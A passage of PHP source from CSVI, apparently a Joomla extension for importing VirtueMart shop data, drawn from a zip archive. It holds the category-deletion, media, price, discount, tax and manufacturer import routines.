@author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _deleteCategory() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Delete the product if ($this->_categories->delete($this->virtuemart_category_id)) { $csvilog->AddStats('deleted', JText::_('COM_CSVI_CATEGORY_DELETED')); $db = JFactory::getDbo(); // Delete category translations jimport('joomla.language.helper'); $languages = array_keys(JLanguageHelper::getLanguages('lang_code')); foreach ($languages as $language){ $query = $db->getQuery(true); $query->delete('#__virtuemart_categories_'.strtolower(str_replace('-', '_', $language))); $query->where('virtuemart_category_id = '.$this->virtuemart_category_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_CATEGORY_LANG_XREF'), true); $db->query(); } // Delete category reference $query = $db->getQuery(true); $query->delete('#__virtuemart_category_categories'); $query->where('category_child_id = '.$this->virtuemart_category_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_CATEGORY_XREF'), true); $db->query(); // Delete media $query = $db->getQuery(true); $query->delete('#__virtuemart_category_medias'); $query->where('virtuemart_category_id = '.$this->virtuemart_category_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_MEDIA_XREF'), true); $db->query(); // Reset the products that link to this category $query = $db->getQuery(true); $query->delete('#__virtuemart_product_categories'); $query->where('virtuemart_category_id = '.$this->virtuemart_category_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRODUCT_CATEGORY_XREF'), true); $db->query(); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_NOT_DELETED')); } } /** * Process media files * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _processMedia() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Check if any image handling needs to be done if ($template->get('process_image', 'image', false)) { if (!is_null($this->file_url)) { // Image handling $imagehelper = new ImageHelper; // Verify the original image if ($imagehelper->isRemote($this->file_url)) { $original = $this->file_url; $remote = true; } else { $original = $template->get('file_location_category_images', 'path').$this->file_url; $remote = false; } $file_details = $imagehelper->ProcessImage($original, $template->get('file_location_category_images', 'path')); // Process the file details if ($file_details['exists'] && $file_details['isimage']) { $media = array(); $media['virtuemart_vendor_id'] = $this->virtuemart_vendor_id; $media['file_title'] = $this->file_url; $media['file_description'] = $this->file_url; $media['file_meta'] = $this->file_url; $media['file_mimetype'] = $file_details['mime_type']; $media['file_type'] = 'category'; $media['file_is_product_image'] = 0; $media['file_is_downloadable'] = 0; $media['file_is_forSale'] = 0; $media['file_url'] = (empty($file_details['output_path'])) ? $file_details['output_name'] : $file_details['output_path'].$file_details['output_name']; $media['published'] = $this->published; // Create the thumbnail if ($template->get('thumb_create', 'image')) { if (empty($this->file_url_thumb)) $this->file_url_thumb = 'resized/'.basename($media['file_url']); if ($remote) $original = $this->file_url; else $original = $media['file_url']; $media['file_url_thumb'] = $imagehelper->createThumbnail($original, $template->get('file_location_category_images', 'path'), $this->file_url_thumb); } else $media['file_url_thumb'] = (empty($this->file_url_thumb)) ? $media['file_url'] : $this->file_url_thumb; // Bind the media data $this->_medias->bind($media); // Check if the media image already exists $this->_medias->check(); // Store the media data if ($this->_medias->store()) { // Store the product image relation $data = array(); $data['virtuemart_category_id'] = $this->virtuemart_category_id; $data['virtuemart_media_id'] = $this->_medias->virtuemart_media_id; $this->_category_medias->bind($data); if (!$this->_category_medias->check()) { $this->_category_medias->store(); } } } } } } } ?>PK@y>\):components/com_csvi/models/com_virtuemart/import/.htaccessnuW+A Order allow,deny Deny from all PK@y>\LBcomponents/com_csvi/models/com_virtuemart/import/productimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo test downloadable files * @todo add data read in case of incorrect columns. * @todo remove message about incorrect column count as import now ignores those??? * @todo Create a new convertdate function * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Only continue if all tables exist if ($this->_tablesexist) { // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); $this->vmconfig = new CsviCom_VirtueMart_Config(); $this->virtuemart_product_id = $this->helper->getProductId(); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Load the current product data $this->_products->load($this->virtuemart_product_id); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'product_available_date': $this->_products->$name = $this->convertDate($value); break; case 'product_discount_date_start': $this->$name = $this->convertDate($value); break; case 'product_discount_date_end': $this->$name = $this->convertDate($value); break; case 'product_price': case 'product_override_price': // Cannot clean price otherwise we lose calculations $this->$name = $this->toPeriod($value); break; case 'product_weight': case 'product_length': case 'product_width': case 'product_height': $this->_products->$name = $this->toPeriod($value); break; case 'related_products': if (substr($value, -1, 1) == "|") $this->related_products = substr($value, 0, -1); else $this->related_products = $value; break; case 'category_id': case 'category_path': if (strlen(trim($value)) > 0) { if (stripos($value, '|') > 0) $category_ids[$name] = explode("|", $value); else $category_ids[$name][] = $value; $this->category_ids = $category_ids; } $this->$name = $value; break; case 'manufacturer_name': $this->_manufacturers_lang->mf_name = $value; break; case 'manufacturer_id': $this->_manufacturers_lang->virtuemart_manufacturer_id = $value; break; case 'price_with_tax': $this->$name = $this->cleanPrice($value); break; case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->$name = $value; break; case 'override': case 'product_special': switch ($value) { case 'y': case 'Y': case '1': $value = 1; break; default: $value = 0; break; } $this->$name = $value; break; case 'product_currency': $this->$name = $this->helper->getCurrencyId(strtoupper($value), $this->virtuemart_vendor_id); break; case 'calc_value': case 'calc_value_mathop': $this->_calcs->$name = $value; break; case 'product_name': $this->_products_lang->$name = $value; break; case 'product_tax': $this->$name = $this->cleanPrice($value); break; default: $this->$name = $value; break; } } // Calculate product packaging if (version_compare($this->vmconfig->get('release'), '2.0.10', 'lt')) { if (!is_null($this->product_box) && !is_null($this->product_packaging)) $this->_productPackaging(); } // We need the currency if (is_null($this->product_currency) && (isset($this->product_price) || isset($this->price_with_tax))) { $this->_product_prices->product_currency = $this->productCurrency($this->virtuemart_vendor_id); } // Check for child product and get parent SKU if it is if (!is_null($this->product_parent_sku)) { $this->_productParentSku(); } // Set the record identifier $this->record_identity = (isset($this->product_sku)) ? $this->product_sku : $this->virtuemart_product_id; return true; } else { $template = $jinput->get('template', null, null); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $template->get('language', 'general'))); return false; } } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); if ($this->virtuemart_product_id && !$template->get('overwrite_existing_data', 'general')) { $csvilog->addDebug(JText::sprintf('COM_CSVI_DATA_EXISTS_PRODUCT_SKU', $this->product_sku)); $csvilog->AddStats('skipped', JText::sprintf('COM_CSVI_DATA_EXISTS_PRODUCT_SKU', $this->product_sku)); } else { if (empty($this->product_sku) && empty($this->virtuemart_product_id)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_DEBUG_NO_SKU')); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_NO_SKU_OR_ID')); return false; } else { $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_PROCESS_SKU', $this->record_identity)); } // User wants to delete the product if (isset($this->virtuemart_product_id) && $this->product_delete == "Y") { $this->_deleteProduct(); } else if (!isset($this->virtuemart_product_id) && $this->product_delete == "Y") { $csvilog->AddStats('skipped', JText::sprintf('COM_CSVI_NO_PRODUCT_ID_NO_DELETE', $this->record_identity)); } else if (!isset($this->virtuemart_product_id) && $template->get('ignore_non_exist', 'general')) { // Do nothing for new products when user chooses to ignore new products $csvilog->AddStats('skipped', JText::sprintf('COM_CSVI_DATA_EXISTS_IGNORE_NEW', $this->record_identity)); } // User wants to add or update the product else { // Process order levels if (!isset($this->product_params) && (!is_null($this->min_order_level) || !is_null($this->max_order_level) || !is_null($this->product_box))) { $this->product_params = 'min_order_level="'; if (isset($this->min_order_level)) $this->product_params .= $this->min_order_level; else $this->product_params .= '0'; $this->product_params .= '"|max_order_level="'; if (isset($this->max_order_level)) $this->product_params .= $this->max_order_level; else $this->product_params .= '0'; if (version_compare($this->vmconfig->get('release'), '2.0.10', 'ge')) { $this->product_params .= '"|product_box="'; if (isset($this->product_box)) $this->product_params .= $this->product_box; else $this->product_params .= '0'; } $this->product_params .= '"|'; } // Process discount if (isset($this->product_discount)) $this->_processDiscount(); // Process tax $csvilog->addDebug('Product tax'.$this->product_tax); if (!empty($this->product_tax)) $this->_processTax(); // Process manufacturer $this->_manufacturerImport(); // Process product info if ($this->_productQuery()) { // Handle the shopper group(s) $this->_processShopperGroup(); // Handle the images $this->_processMedia(); // Check if the price is to be updated if (isset($this->product_price) || isset($this->price_with_tax)) $this->_priceQuery(); // Add a product <--> manufacturer cross reference if ((isset($this->_manufacturers_lang->virtuemart_manufacturer_id) && $this->_manufacturers_lang->virtuemart_manufacturer_id)) { $this->_manufacturerCrossReference(); } // Process custom fields if (isset($this->custom_title) && !empty($this->custom_title)) $this->_processCustomFields(); // Process related products // Related products are first input in the database as SKU // At the end of the import, this is converted to product ID if ($this->related_products) $this->_processRelatedProducts(); // Process category path if (isset($this->category_path) || isset($this->category_id)) { if ($this->category_ids || $this->category_id) { if (is_null($this->_categorymodel)) $this->_categorymodel = new CsviModelCategory(); $this->_categorymodel->getStart(); // Check the categories // Do we have IDs if (array_key_exists('category_id', $this->category_ids)) { $this->_categorymodel->CheckCategoryPath($this->virtuemart_product_id, false, $this->category_ids['category_id']); } else if (array_key_exists('category_path', $this->category_ids)) { $this->_categorymodel->CheckCategoryPath($this->virtuemart_product_id, $this->category_ids['category_path'], false); } } } } } // Now that all is done, we need to clean the table objects $this->cleanTables(); } } /** * Execute any processes to finalize the import * * @copyright * @author RolandD * @todo * @see * @access public * @param array $fields list of fields used for import * @return * @since 3.0 */ public function getPostProcessing($fields=array()) { // Related products if (in_array('related_products', $fields)) $this->_postProcessRelatedProducts(); } /** * Load the product related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Load the main tables $this->_products = $this->getTable('products'); $this->_medias = $this->getTable('medias'); $this->_product_medias = $this->getTable('product_medias'); $this->_product_prices = $this->getTable('product_prices'); $this->_calcs = $this->getTable('calcs'); $this->_product_customfields = $this->getTable('product_customfields'); $this->_manufacturers = $this->getTable('manufacturers'); $this->_product_manufacturers = $this->getTable('product_manufacturers'); $this->_product_shoppergroups = $this->getTable('product_shoppergroups'); // Check if the language tables exist $db = JFactory::getDbo(); $tables = $db->getTableList(); if (!in_array($db->getPrefix().'virtuemart_products_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else if (!in_array($db->getPrefix().'virtuemart_manufacturers_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else { $this->_tablesexist = true; // Load the language tables $this->_products_lang = $this->getTable('products_lang'); $this->_manufacturers_lang = $this->getTable('manufacturers_lang'); } } /** * Cleaning the product related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { // Clean the main tables $this->_products->reset(); $this->_medias->reset(); $this->_product_medias->reset(); $this->_product_prices->reset(); $this->_calcs->reset(); $this->_product_customfields->reset(); $this->_manufacturers->reset(); $this->_product_manufacturers->reset(); // Clean the language tables $this->_products_lang->reset(); $this->_manufacturers_lang->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Get the product packaging * * The number is calculated by hexnumbers * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _productPackaging() { $this->product_packaging = (($this->product_box<<16) | ($this->product_packaging & 0xFFFF)); } /** * Get the product parent sku if it is a child product * * The parent product MUST be imported before the child product * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _productParentSku() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRODUCT_PARENT_SKU')); if (isset($this->product_sku)) { // Check if we are dealing with a child product if ($this->product_parent_sku !== $this->product_sku) { $this->child_product = true; // Get the parent id first $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($this->product_parent_sku)); $db->setQuery($query); $this->product_parent_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRODUCT_PARENT_SKU'), true); } else { $this->product_parent_id = 0; $this->child_product = false; } } } /** * Creates either an update or insert SQL query for a product. * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return bool true if the query executed successful|false if the query failed * @since 3.0 */ private function _productQuery() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we need to do a stock calculation if (!is_null($this->product_in_stock)) { // Split the modification $operation = substr($this->product_in_stock, 0, 1); $value = substr($this->product_in_stock, 1); // Get the database value $stock = $this->_products->product_in_stock; // Check what modification we need to do and apply it switch ($operation) { case '+': $stock += $value; break; case '-': $stock -= $value; break; case '/': $stock /= $value; break; case '*': $stock*= $value; break; default: // Assign the current price to prevent it being overwritten $stock = $this->product_in_stock; break; } $this->product_in_stock = $stock; } // Bind the initial data $this->_products->bind($this); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_products->modified_on = $this->date->toMySQL(); $this->_products->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_product_id)) { $this->_products->created_on = $this->date->toMySQL(); $this->_products->created_by = $this->user->id; } foreach ($this->_avfields as $id => $column) { // Only process the fields the user is uploading if (isset($this->$column)) { // Add a redirect for the product cdate if ($column == "product_cdate" && !empty($this->$column)) { $this->_products->created_on = $this->$column; } // Add a redirect for the product mdate if ($column == "product_mdate" && !empty($this->$column)) { $this->_products->modified_on = $this->$column; } } } // We have a succesful save, get the product_id if ($this->_products->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_SKU')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_SKU')); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_PRODUCT_QUERY'), true); // If this is a child product, check if we need to update the custom field if ($this->child_product) $this->_processParentValues(); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_NOT_ADDED', $this->_products->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_PRODUCT_QUERY'), true); return false; } // Set the product ID $this->virtuemart_product_id = $this->_products->virtuemart_product_id; // Store the language fields $this->_products_lang->bind($this); $this->_products_lang->virtuemart_product_id = $this->virtuemart_product_id; if ($this->_products_lang->check()) { if ($this->_products_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_PRODUCT_LANG')); else if ($this->queryResult() == 'INSERT') $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_PRODUCT_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANG_NOT_ADDED', $this->_products_lang->getError())); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANG_NOT_ADDED', $this->_products_lang->getError())); return false; } // Store the debug message $csvilog->addDebug('COM_CSVI_PRODUCT_LANG_QUERY', true); // All good return true; } /** * Process Related Products * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _processRelatedProducts() { $db = JFactory::getDbo(); $relatedproducts = explode("|", $this->related_products); $query = $db->getQuery(true); $query = "INSERT IGNORE INTO `#__csvi_related_products` VALUES "; $entries = array(); foreach ($relatedproducts AS $key => $relatedproduct) { $entries[] = "(".$db->q($this->product_sku).", ".$db->q($relatedproduct).")"; } $query .= implode(',', $entries); $db->setQuery($query); $db->query(); // Remove any existing product relations $this->_product_customfields->deleteRelated($this->virtuemart_product_id, $this->virtuemart_vendor_id, $this->helper->getRelatedId()); } /** * Post Process Related Products * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _postProcessRelatedProducts() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $relations = array(); // Get the related products $query = $db->getQuery(true); $query->select('p1.virtuemart_product_id AS virtuemart_product_id, p2.virtuemart_product_id AS custom_value'); $query->from('#__csvi_related_products r'); $query->leftJoin('#__virtuemart_products p1 ON r.product_sku = p1.product_sku'); $query->leftJoin('#__virtuemart_products p2 ON r.related_sku = p2.product_sku'); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_PROCESS_RELATED_PRODUCTS'), true); $relations = $db->loadObjectList(); if (!empty($relations)) { // Store the new relations foreach ($relations as $key => $related) { // Build the object to store $fields = array(); $related->virtuemart_custom_id = $this->helper->getRelatedId(); $related->published = 0; $related->created_on = $this->date->toSql(); $related->created_by = $this->user->id; $related->modified_on = $this->date->toSql(); $related->modified_by = $this->user->id; // Bind the data $this->_product_customfields->bind($related); // Store the data if ($this->_product_customfields->store()) { $csvilog->addDebug(JText::_('COM_CSVI_PROCESS_RELATED_PRODUCTS'), true); } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_RELATED_PRODUCTS'), true); } // Clean the table object for next insert $this->_product_customfields->reset(); } // Empty the relations table $db->setQuery("TRUNCATE ".$db->qn('#__csvi_related_products')); $db->query(); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_RELATED_PRODUCTS_FOUND'), true); } } /** * Process media files * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _processMedia() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); // Check if any image handling needs to be done if ($template->get('process_image', 'image', false)) { if (!is_null($this->file_url) || $template->get('auto_generate_image_name', 'image', false)) { // Image handling $imagehelper = new ImageHelper; // Get the image path $imgpath = $template->get('file_location_product_images', 'path'); if ($template->get('auto_generate_image_name', 'image')) $this->_createImageName(); // Verify the original image if ($imagehelper->isRemote($this->file_url)) { $original = $this->file_url; $remote = true; $full_path = $imgpath; } else { $remote = false; // Check if the image contains the image path $dirname = dirname($this->file_url); if (strpos($imgpath, $dirname) !== false) { $image = basename($this->file_url); } $original = $imgpath.$this->file_url; $remote = false; // Get subfolders $path_parts = pathinfo($original); $full_path = $path_parts['dirname'].'/'; } // Generate image names if ($template->get('auto_generate_image_name', 'image')) { $file_details = $imagehelper->ProcessImage($original, $full_path, $this->product_full_image_output); } else { $file_details = $imagehelper->ProcessImage($original, $full_path); } // Process the file details if ($file_details['exists'] && $file_details['isimage']) { // Check if the image is an external image if (substr($file_details['name'], 0, 4) == 'http') { $csvilog->AddStats('incorrect', 'COM_CSVI_VM_NOSUPPORT_URL'); } else { $media = array(); $media['virtuemart_vendor_id'] = $this->virtuemart_vendor_id; $media['file_title'] = ($this->file_title) ? $this->file_title : $this->file_url; $media['file_description'] = $this->file_description; $media['file_meta'] = $this->file_meta; $media['file_mimetype'] = $file_details['mime_type']; $media['file_type'] = 'product'; $media['file_is_product_image'] = 1; $media['file_is_downloadable'] = 0; $media['file_is_forSale'] = 0; $media['file_url'] = (empty($file_details['output_path'])) ? $file_details['output_name'] : $file_details['output_path'].$file_details['output_name']; // Create the thumbnail if ($template->get('thumb_create', 'image')) { // Get the subfolder structure $thumb_path = str_ireplace($imgpath, '', $full_path); if (empty($this->file_url_thumb)) $this->file_url_thumb = 'resized/'.$thumb_path.basename($media['file_url']); if ($remote) $original = $this->file_url; else $original = $media['file_url']; $media['file_url_thumb'] = $imagehelper->createThumbnail($original, $imgpath, $this->file_url_thumb); } else { $media['file_url_thumb'] = (empty($this->file_url_thumb)) ? $media['file_url'] : $this->file_url_thumb; if (substr($media['file_url_thumb'], 0, 4) == 'http') { $csvilog->addDebug(JText::sprintf('COM_CSVI_RESET_THUMB_NOHTTP', $media['file_url_thumb'])); $media['file_url_thumb'] = ''; } } // Bind the media data $this->_medias->bind($media); // Check if the media image already exists $this->_medias->check(); // Store the media data if ($this->_medias->store()) { // Store the product image relation $data = array(); $data['virtuemart_product_id'] = $this->virtuemart_product_id; $data['virtuemart_media_id'] = $this->_medias->virtuemart_media_id; $this->_product_medias->bind($data); if (!$this->_product_medias->check()) { $this->_product_medias->store(); } } } } } } } /** * Manufacturer Importer * * Adds or updates a manufacturer and adds a reference to the product * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _manufacturerImport() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug('COM_CSVI_DEBUG_MANUFACTURER_IMPORT'); if (!isset($this->_manufacturers_lang->mf_name) && !isset($this->_manufacturers_lang->virtuemart_manufacturer_id)) { // User is not importing manufacturer data but we need a default manufacturer associated with the product $this->_getDefaultManufacturerID(); } // Check for existing manufacturer if ($this->_manufacturers_lang->check()) { // Store the manufacturers language details if ($this->_manufacturers_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURER_LANG')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURER_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_LANG_NOT_ADDED', $this->_manufacturers_lang->getError())); return false; } // Store the debug message $csvilog->addDebug('COM_CSVI_MANUFACTURER_LANG_QUERY', true); // Set the manufacturer ID $this->_manufacturers->virtuemart_manufacturer_id = $this->_manufacturers_lang->virtuemart_manufacturer_id; // Check if a manufacturer exists if (!$this->_manufacturers->check()) { // Store the manufacturer data if ($this->_manufacturers->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURER')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURER')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_NOT_ADDED', $this->_manufacturers->getError())); return false; } // Store the debug message $csvilog->addDebug('COM_CSVI_MANUFACTURER_QUERY', true); } } } /** * Adds a reference between manufacturer and product * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _manufacturerCrossReference() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $this->_product_manufacturers->virtuemart_product_id = $this->virtuemart_product_id; $this->_product_manufacturers->virtuemart_manufacturer_id = $this->_manufacturers_lang->virtuemart_manufacturer_id; if (!$this->_product_manufacturers->check()) { $this->_product_manufacturers->store(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESS_MANUFACTURER_PRODUCT'), true); } } /** * Creates either an update or insert SQL query for a product price. * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _priceQuery() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check if we have a child product with an empty price (will use parents price) if ($this->child_product && ($this->product_price == 0 && (is_null($this->price_with_tax) && is_null($this->product_tax)))) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_CHILD_NO_PRICE')); } else { // Check if we have an override price, this is always excluding tax if ($this->product_override_price) { if (is_null($this->override)) $this->override = 1; } // Check if the price is including or excluding tax if ($this->product_tax && $this->price_with_tax && is_null($this->product_price)) { if (strlen($this->price_with_tax) == 0) $this->product_price = null; else $this->product_price = $this->price_with_tax / (1+($this->product_tax/100)); } else if (strlen($this->product_price) == 0) $this->product_price = null; // Check if we need to assign a shopper group if (!is_null($this->shopper_group_name_price)) { if ($this->shopper_group_name_price == '*') $this->virtuemart_shoppergroup_id = 0; else $this->virtuemart_shoppergroup_id = $this->helper->getShopperGroupId($this->shopper_group_name_price); } // Bind the fields to check for an existing price $this->_product_prices->bind($this); // Check if the price already exists if (!$this->_product_prices->check()) { // Price doesn't exist if (!$this->_product_prices->get('price_quantity_start')) $this->_product_prices->price_quantity_start = 0; if (!$this->_product_prices->get('price_quantity_end')) $this->_product_prices->price_quantity_end = 0; if (!$this->_product_prices->get('override')) $this->_product_prices->override = 0; // Set the create date if the user has not done so and there is no product_price_id if (!$this->_product_prices->get('created_on')) { $this->_product_prices->created_on = $this->date->toSql(); $this->_product_prices->created_by = $this->user->id; } } // Bind the data $this->_product_prices->bind($this); // Check if we need to change the shopper group name if (!is_null($this->shopper_group_name_new)) { if ($this->shopper_group_name_new == '*') $this->_product_prices->virtuemart_shoppergroup_id = 0; else { $this->_product_prices->virtuemart_shoppergroup_id = $this->helper->getShopperGroupId($this->shopper_group_name_new); } } // Calculate the new price $this->_product_prices->CalculatePrice(); if (is_null($this->product_price) && is_null($this->product_override_price)) { // Delete the price $this->_product_prices->delete(); } else { // Store the price // Add some variables if needed // Set the modified date if the user has not done so if (!$this->_product_prices->get('modified_on')) { $this->_product_prices->set('modified_on', $this->date->toSql()); $this->_product_prices->set('modified_by', $this->user->id); } // Store the price $this->_product_prices->store(); } $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRICE_QUERY'), true); } } /** * Stores the discount for a product * * @copyright * @author RolandD * @todo Add logging * @see * @access private * @param * @return * @since 3.0 */ private function _processDiscount() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESSING_DISCOUNT')); // Clear the calcs from any data $this->_calcs->reset(); // Determine if the discount field is a percentage if ($this->product_discount) { if (substr($this->product_discount,-1,1) == "%") { $this->_calcs->calc_value_mathop = '-%'; $this->_calcs->calc_value = substr($this->toPeriod($this->product_discount), 0, -1); } else { $this->_calcs->calc_value_mathop = '-'; $this->_calcs->calc_value = $this->cleanPrice($this->product_discount); } } if (!is_null($this->_calcs->calc_value) && $this->_calcs->calc_value > 0) { // Add the discount fields $this->_calcs->publish_up = $this->product_discount_date_start; $this->_calcs->publish_down = $this->product_discount_date_end; // Add a description to the discount $this->_calcs->calc_name = $this->product_discount; $this->_calcs->calc_descr = $this->product_discount; $this->_calcs->calc_shopper_published = 1; $this->_calcs->calc_vendor_published = 1; $this->_calcs->calc_currency = $this->_product_prices->product_currency; if (empty($this->calc_kind)) $this->_calcs->calc_kind = 'DBTax'; else $this->_calcs->calc_kind = $this->calc_kind; // Check if a discount already exists $this->_calcs->check(); // Store the discount if (!$this->_calcs->store()) { $csvilog->addDebug('COM_CSVI_DEBUG_ADD_DISCOUNT', true); return false; } $csvilog->addDebug('COM_CSVI_DEBUG_ADD_DISCOUNT', true); // Fill the product information with the discount ID $this->product_discount_id = $this->_calcs->virtuemart_calc_id; } else $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_NO_DISCOUNT')); } /** * Process a tax rate * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _processTax() { if ($this->product_tax > 0) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESSING_TAX')); // Clear the calcs from any data $this->_calcs->reset(); // Add some data $this->_calcs->calc_kind = 'Tax'; $this->_calcs->calc_value = $this->product_tax; $this->_calcs->calc_value_mathop = '+%'; // Check if the tax rate already exists if (!$this->_calcs->check()) { $this->_calcs->virtuemart_vendor_id = $this->virtuemart_vendor_id; $this->_calcs->calc_name = JText::_('COM_CSVI_AUTO_TAX_RATE'); $this->_calcs->calc_descr = JText::_('COM_CSVI_AUTO_TAX_RATE_DESC'); $this->_calcs->calc_currency = $this->helper->getVendorCurrency($this->virtuemart_vendor_id); $this->_calcs->calc_shopper_published = 1; $this->_calcs->calc_vendor_published = 1; $this->_calcs->publish_up = $this->date->toMySQL(); $this->_calcs->created_on = $this->date->toMySQL(); $this->_calcs->created_by = $this->user->id; $this->_calcs->modified_on = $this->date->toMySQL(); $this->_calcs->modified_by = $this->user->id; $this->_calcs->store(); $csvilog->addDebug(JText::_('COM_CSVI_ADD_TAX_RATE'), true); } $this->product_tax_id = $this->_calcs->virtuemart_calc_id; } } /** * Gets the default manufacturer ID * As there is no default manufacturer, we take the first one * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return integer database ID of the default manufacturer * @since 4.0 */ private function _getDefaultManufacturerID() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); // Check if product already has a manufacturer link if (isset($this->product_sku)) { $query = $db->getQuery(true); $query->select('virtuemart_manufacturer_id'); $query->from('#__virtuemart_product_manufacturers m'); $query->leftJoin('#__virtuemart_products p ON m.virtuemart_product_id = p.virtuemart_product_id'); $query->where('product_sku = '.$db->Quote($this->product_sku)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_MANUFACTURER_ID_SKU'), true); $mf_id = $db->loadResult(); } else if (isset($this->virtuemart_product_id)) { $query = $db->getQuery(true); $query->select('virtuemart_manufacturer_id'); $query->from('#__virtuemart_product_manufacturers m'); $query->where('virtuemart_product_id = '.$db->Quote($this->virtuemart_product_id)); $db->setQuery($query); 